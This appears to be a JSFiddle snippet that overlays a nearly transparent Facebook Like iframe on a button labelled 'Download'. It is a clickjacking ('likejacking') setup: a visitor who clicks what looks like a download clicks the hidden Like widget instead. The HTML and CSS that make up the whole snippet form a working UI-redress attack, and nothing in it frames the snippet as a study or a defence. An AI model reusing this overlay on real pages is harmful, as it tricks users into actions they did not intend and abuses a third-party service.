JSFiddle - React, Tailwind, and code Playground

HTML

<iframe src="https://www.facebook.com/plugins/like.php?href=https%3A%2F%2Fdevelopers.facebook.com%2F&amp;send=false&amp;layout=button_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21&amp;appId=218834354823410" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:21px;" allowTransparency="true"></iframe>
<button id="cover">Download</button>

CSS

/* I place the cover above the widget and allow pointer events to pass through */
iframe {
    position: absolute;
    top: 0px;
    left: 0px;
    width: 450px;
    height: 21px;
    opacity: 0.1;
}

button {padding: 3px 0px;}